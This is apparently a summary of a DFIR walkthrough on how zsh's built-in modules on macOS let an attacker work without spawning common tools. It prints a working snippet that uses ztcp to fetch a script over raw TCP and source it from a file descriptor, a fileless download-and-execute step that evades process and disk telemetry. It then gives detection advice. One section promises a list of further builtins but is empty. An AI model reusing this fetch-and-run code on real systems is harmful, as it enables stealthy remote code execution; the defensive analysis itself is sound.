Living Inside the Shell: zsh Modules on macOS

What it is

A DFIR walkthrough of zsh's runtime module system (zmodload) on macOS, where /bin/zsh is the default shell. The core demonstration: loading zsh/net/tcp to open a raw socket via the ztcp builtin, hand-writing an HTTP request, and source-ing the response body straight off the file descriptor — all inside the existing zsh process, producing no curl, wget, nc, or child shell.

How it works

ztcp 127.0.0.1 8080 opens the connection and returns the descriptor in $REPLY. zsh now owns the socket; there is no networking utility to observe. You write the HTTP request bytes to the descriptor, drain the response headers, then source /dev/fd/$fd — the /dev/fd/<n> pathname lets zsh read the remaining socket bytes and interpret them as shell input. No payload.zsh ever hits disk, so filesystem searches for a downloaded file find nothing.

zmodload zsh/net/tcp
ztcp 127.0.0.1 8080
fd=$REPLY
print -rn -u $fd -- \
  $'GET /payload.zsh HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n'
while IFS= read -r -u $fd line; do
    [[ "$line" == $'\r' || -z "$line" ]] && break
done
source /dev/fd/$fd
ztcp -c $fd

What the summary omits: the broader module surface

The TCP case is one instance. The page lists other builtins that similarly displace utilities an analyst would normally look for — the same "attribute to /bin/zsh, not a child process" gap applies to file and xattr activity too:

What to do

For triage, distinguish builtin from external command — the page notes whence -v ztcp identifies ztcp as a shell builtin with no separate executable. Since process-execution, command-line, and parent-child telemetry all come up empty here, detections need to lean on the surviving signal: the network connection itself still exists, originating from /bin/zsh.

Caveats

zsh/net/tcp provides only raw TCP with no TLS, so speaking HTTPS is not feasible and the author states this "significantly limits" ztcp as a drop-in curl replacement — though the primitive remains relevant for plaintext retrieval. Which modules are actually available depends on the zsh build and platform.